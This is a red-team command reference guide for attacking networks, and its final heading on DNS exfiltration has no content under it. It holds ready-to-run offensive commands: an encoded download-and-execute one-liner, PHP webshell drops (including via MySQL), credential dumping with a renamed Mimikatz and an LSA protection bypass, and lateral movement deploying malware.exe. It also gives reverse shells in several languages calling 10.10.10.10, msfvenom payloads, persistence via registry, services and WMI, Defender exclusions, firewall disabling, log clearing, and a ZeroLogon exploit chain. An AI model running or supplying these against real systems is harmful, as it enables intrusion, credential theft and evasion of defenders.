Comprehensive Red Team Command Reference Guide

Command Execution & Encoding

Utilize online encoding platforms for payload generation:

Manual encoding example:

sh -c {echo,d2dldCBodHRwOi8vMTAuMTAuMTAuMTAvcGF5bG9hZA==}|{base64,-d}|{sh,-i}

Resource File Discovery & Write Operations

Linux:

locate config.php|while read p;do sh -c "id">$(dirname $p)/output.log;done

Windows:

for /r C:\ %j in (config.ini*) do hostname > %j/../result.txt

Shell Deployment Techniques

Windows File Writing Methods

Method 1 (Promptless write):

set /p=malware<nul>C:\temp\stage1.txt

Method 2 (Standard echo):

echo malicious>stage2.txt

Append operations:

echo content>>append.log
set /p="data">>append.log

Special character handling via certutil:

certutil -f -decode payload.b64 C:\inetpub\wwwroot\shell.aspx

Linux Base64 Deployment:

echo PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOz8+|base64 -d > /tmp/web/backdoor.php

PHP direct write:

echo '<?php eval($_POST["x"]);?>' > access.php

Network Scanning

Nmap Rapid Scanning

nmap -sP 10.20.30.0/24
nmap -sV -p- 10.20.30.40
nmap --script vuln 10.20.30.40
nmap -p445 --script smb-vuln-ms17-010 10.20.30.0/24
nmap -n -Pn -T4 --min-rate=10000 -oX scan.xml 10.40.50.0/24

Masscan High-Performance Scenning

masscan 10.20.30.40 -p1-65535 --rate=2000
masscan -iL targets.txt -p1-65535 --rate=3000 -oL ports.txt
cat ports.txt |awk '{print $4":"$3}' > endpoints.txt

Port Lists

Common service ports: 21-23, 25, 53, 80-90, 110, 135, 139, 143, 443, 445, 3306, 3389, 5432, 6379, 8080, 8443, 27017

Password Security Tools

Mimikatz Operations

Single command execution:

.\sekurlz "token::elevate" "lsadump::secrets" quit

Interactive console with logging:

sekurlz # privilege::debug
sekurlz # log session.log
sekurlz # sekurlsa::logonpasswords
sekurlz # sekurlsa::wdigest

Enable WDigest credential caching:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

LSA Protection Bypass

sekurlz # !+
sekurlz # !processprotect /process:lsass.exe /remove
sekurlz # privilege::debug
sekurlz # token::elevate
sekurlz # sekurlsa::logonpasswords
sekurlz # !processprotect /process:lsass.exe
sekurlz # !-

Credential Parsing

awk -F"|||" '{print $1}' creds.log | awk -F"/" '{print $3}'
awk -F"|||" '{print $2}' creds.log

Web Application Scanning

Gobuster Directory Brute-Force

gobuster dir -t 30 -u http://target.example.com -w /usr/share/wordlists/directory.txt

Dirsearch Web Fuzzing

python3 dirsearch.py -t 20 -e aspx,jsp,html -u http://victim.site
python3 dirsearch.py -e php,asp,txt -u http://victim.site -w custom.txt --proxy 127.0.0.1:8080

Proxy & Tunneling Infrastructure

Proxy Tools

proxychains - Unix proxy wrapper
sockscap64 - Windows SOCKS wrapper
proxifier - Cross-platform proxy tool

FRP Configuration

[common]
server_addr = 10.10.10.10
server_port = 7000

[rdp]
type = tcp
local_port = 3389
remote_port = 3389

[socks5]
type = tcp
remote_port = 1080
plugin = socks5

NPS Installation

sudo ./nps install
sudo nps start
# Config location: /etc/nps
# Default credentials: admin/123

Alternative Tunneling Tools

iox - Feature-rich tunneling utility
Stowaway - Multi-hop proxy tool
Venom - Distributed proxy platform

Database Operations

MySQL Remote Access

USE mysql;
UPDATE user SET host='%' WHERE user='admin';
FLUSH PRIVILEGES;
SELECT host,user FROM user;

MySQL Command Execution

mysql -uadmin -p'pass' -e "SELECT * FROM mysql.user" > dump.txt

MySQL Shell Upload

SELECT '<?php system($_GET["cmd"]);?>' INTO OUTFILE '/var/www/html/cmd.php';
SET GLOBAL general_log=1;
SET GLOBAL general_log_file='/var/www/html/backdoor.php';
SELECT '<?php eval($_POST["x"]);?>';

SQLMap Automation

sqlmap -u "http://testsite.com/page.php?id=1" --proxy="socks5://127.0.0.1:9050"
sqlmap -u "http://testsite.com" --cookie="sessid=abc123" --level=2
sqlmap -u "http://testsite.com/id/3*.html" --dbms=mysql -v 3
sqlmap -r request.raw -p id --file-read="/etc/passwd"

Lateral Movement Techniques

Impacket Suite

# WMIexec (requires port 135)
wmiexec.py domain/admin:Password123@10.10.10.30 "whoami"
wmiexec.py -hashes :fac5d668099409cb6fa223a32ea493b6 admin@10.10.10.30 "hostname"

# Atexec (requires port 445)
atexec.py corp/user:Pass@10.10.10.40 "ipconfig"

# SMBexec (requires port 445)
smbexec.py -hashes :hash123 admin@10.10.10.50

Windows Native Lateral Movement

net use \\10.10.10.20\ipc$ "SecretPass123" /user:corp\admin
copy malware.exe \\10.10.10.20\c$

at \\10.10.10.20 14:30 C:\malware.exe

schtasks /create /s 10.10.10.20 /ru "SYSTEM" /tn "UpdateTask" /tr C:\malware.exe /sc ONCE /st 14:30
schtasks /run /s 10.10.10.20 /tn "UpdateTask"

Batch Network Operations

# Enumerate live hosts
for /L %i in (1,1,254) do @ping -n 1 -w 50 10.40.50.%i | find "TTL=" && echo 10.40.50.%i >> live.txt

# Batch command execution
for /F %a in (targets.txt) do wmic /node:%a process call create "cmd.exe /c whoami > C:\result.txt"

Reverse Shell Techniques

Netcat Listeners

nc -lvnp 8888

Linux Reverse Shells

# Bash
exec 5<>/dev/tcp/10.10.10.10/8888;cat <&5|sh>&5 2>&5

# Python
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.10.10",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# PHP
php -r '$sock=fsockopen("10.10.10.10",8888);exec("/bin/sh -i <&3 >&3 2>&3");'

# Perl
perl -e 'use Socket;$i="10.10.10.10";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

PowerShell Reverse Shell

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',8888);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Encrypted Shell

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.10.10.10:9999 > /tmp/s; rm /tmp/s

Payload Generation

Msfvenom Payloads

# Windows reverse HTTPS
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.10.10 LPORT=8443 -f exe > agent.exe

# Linux reverse TCP
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=8888 -f elf > agent.elf

# macOS reverse shell
msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.10.10.10 LPORT=8888 -f macho > agent.macho

# PHP reverse shell
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.10.10 LPORT=8888 -f raw > agent.php

# Python reverse shell
msfvenom -p cmd/unix/reverse_python LHOST=10.10.10.10 LPORT=8888 -f raw > agent.py

Post-Exploitation

Meterpreter Core Commands

# Session management
background  # Send session to background
sessions -l  # List active sessions
sessions -i 1  # Interact with session 1
exit  # Terminate session

# System information
sysinfo  # Gather system details
idletime  # Check idle duration
getuid  # Get current user

# Process migration
ps  # List processes
migrate -N explorer.exe  # Migrate to process
getpid  # Get current PID

# File operations
upload /local/file.txt C:\remote\file.txt
download C:\windows\system32\config\SAM /local/SAM
edit C:\boot.ini  # Edit file

Privilege Escaaltion

getsystem  # Attempt automatic privilege escalation

# Bypass UAC
use exploit/windows/local/bypassuac_eventvwr
set SESSION 1
exploit

# Kernel exploit
use exploit/windows/local/ms16_032_secondary_logon_handle
set SESSION 1
exploit

Credential Harvesting

load kiwi  # Load Mimikatz extension
creds_all  # Dump all credentials
hashdump  # Dump SAM hashes
lsa_dump_sam  # Dump LSA secrets

Token Manipulation

use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\\SYSTEM"
steal_token 1234  # Steal token from PID
rev2self  # Revert to original token

Persistence Mechanisms

Registry Run Keys

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Update /t REG_SZ /d "C:\windows\system32\update.exe" /f
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Service /t REG_SZ /d "C:\windows\temp\service.exe" /f

Windows Services

sc create "WindowsUpdate" binpath= "C:\windows\temp\backdoor.exe" start= auto DisplayName= "Windows Update Service"
sc start WindowsUpdate

Scheduled Tasks

schtasks /create /tn "SystemScan" /tr "C:\windows\temp\scan.exe" /sc minute /mo 5 /ru SYSTEM
schtasks /run /tn "SystemScan"

WMI Event Subscriptions

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="Filter", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="Consumer", ExecutablePath="C:\windows\temp\payload.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"Filter\"", Consumer="CommandLineEventConsumer.Name=\"Consumer\""

Startup Folder

# Current user
copy backdoor.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\"

# All users
copy backdoor.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"

Defense Evasion

Windows Defender Exclusions

powershell -Exec Bypass Set-MpPreference -ExclusionPath "C:\malware"
powershell -Exec Bypass Set-MpPreference -ExclusionExtension ".ps1"

Firewall Manipulasion

# Disable firewall
netsh advfirewall set allprofiles state off

# Add inbound rule
netsh advfirewall firewall add rule name="Allow 8888" dir=in protocol=TCP localport=8888 action=allow

# Add outbound rule
netsh advfirewall firewall add rule name="Allow Outbound" dir=out protocol=TCP localport=4444 action=allow

# Port forwarding
netsh interface portproxy add v4tov4 listenport=8080 connectport=80 connectaddress=10.10.10.20

Log Clearing

wevtutil cl security
wevtutil cl system
wevtutil cl application

Specialized Exploitation

GitLab Console Access

gitlab-rails console -e production
user = User.where(username: 'admin').first
user.password = 'NewPass123!'
user.password_confirmation = 'NewPass123!'
user.save!

ZeroLogon (CVE-2020-1472)

# Detection
python3 zerologon_tester.py DC01 10.10.10.10

# Exploitation
python3 cve-2020-1472-exploit.py DC01$ 10.10.10.10

# Extract hashes
python3 secretsdump.py domain.local/DC01\$@10.10.10.10 -no-pass -outputfile domain.ntds

# Restore password
python3 restorepassword.py DC01@DC01 -target-ip 10.10.10.10 -hexpass [hex_value]

Network Utilities

Data Exfiltration via DNS